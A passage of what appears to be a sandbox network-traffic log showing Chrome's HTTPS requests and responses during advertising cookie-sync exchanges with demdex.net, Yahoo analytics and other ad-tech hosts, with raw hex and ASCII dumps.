2024-12-10 14:10:53 UTC	1245	OUT	GET /ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:54 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: sx255dOeQmw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0d589a7db.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50076	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	1201	OUT	GET /ibs:dpid=903&dpuuid=ca5091e5-7f27-487b-9b72-5046f54d8363 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:54 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: MxvUd1HFTHg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-070f80e08.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50077	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	1184	OUT	GET /ibs:dpid=358&dpuuid=6105356000114051776 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:54 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: l1eSdmY9R/s= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0b0020d8d.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50078	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	1181	OUT	GET /ibs:dpid=782&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:54 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: nVUn0d6QSRw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-019ab16ac.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50079	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	1198	OUT	GET /ibs:dpid=1957&dpuuid=2C598D477EB1601D375398167FD361E9 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:54 UTC	897	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 9NjfyUooQto= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcscanary-prod-irl1-1-v084-095ae8c66.edge-irl1.demdex.com 4 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50075	188.125.88.204	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	674	OUT	GET /cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:54 UTC	377	IN	HTTP/1.1 302 Redirect Date: Tue, 10 Dec 2024 14:10:54 GMT Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent= Content-Type: text/html Content-Language: en Content-Length: 257
2024-12-10 14:10:54 UTC	257	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 0a 3c 2f 42 3e 3c 2f 46 4f 4e 54 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location.</B></FONT><HR></BODY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50082	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	1437	OUT	GET /ibs:dpid=3047&dpuuid=6188F94A79EC0F&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:55 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Tq/3myuCR8k= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-055b45fca.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:54 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50088	104.18.37.193	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	776	OUT	GET /z/i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1 Host: s.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ANON_ID=aInoeUqkaHqByktbZceBx29aTZbD1buJgcxO60AZd8c
2024-12-10 14:10:55 UTC	475	IN	HTTP/1.1 302 Moved Temporarily Date: Tue, 10 Dec 2024 14:10:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 209 X-Reuse-Index: 381 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Location: https://dpm.demdex.net/ibs:dpid=22054 CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8efdd235281a78d9-EWR alt-svc: h3=":443"; ma=86400
2024-12-10 14:10:55 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-12-10 14:10:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50084	192.132.33.69	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:54 UTC	632	OUT	GET /dmp/adobe/user?dd_uuid=46356403213087719583427206263392261374 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:55 UTC	557	IN	HTTP/1.1 302 Found Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Location: //dpm.demdex.net/ibs:dpid=49276&dpuuid=ac8a69cd-6318-4120-90dc-83a942a0e3de Set-Cookie: GLOBALID=2uKlc8-sIBd984cSmD72HtjKhbfY7k5Bk7znUhGyIegeVsJehJyw0p5LU1uyyCNmP1O7tfi5srMC4Q2; domain=.bttrack.com; expires=Mon, 10-Mar-2025 14:10:15 GMT; path=/; secure; SameSite=None X-ServerName: Track003-iad Date: Tue, 10 Dec 2024 14:10:14 GMT Connection: close Content-Length: 206 Strict-Transport-Security: max-age=31536000;
2024-12-10 14:10:55 UTC	206	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 25 32 66 25 32 66 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 25 32 66 69 62 73 25 33 61 64 70 69 64 25 33 64 34 39 32 37 36 25 32 36 64 70 75 75 69 64 25 33 64 61 63 38 61 36 39 63 64 2d 36 33 31 38 2d 34 31 32 30 2d 39 30 64 63 2d 38 33 61 39 34 32 61 30 65 33 64 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="%2f%2fdpm.demdex.net%2fibs%3adpid%3d49276%26dpuuid%3dac8a69cd-6318-4120-90dc-83a942a0e3de">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50091	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:55 UTC	1227	OUT	GET /ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:10:55 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: BgFSodfhSJI= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0ef6d5ec7.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50092	76.223.111.18	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:55 UTC	697	OUT	GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: dmpsync.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
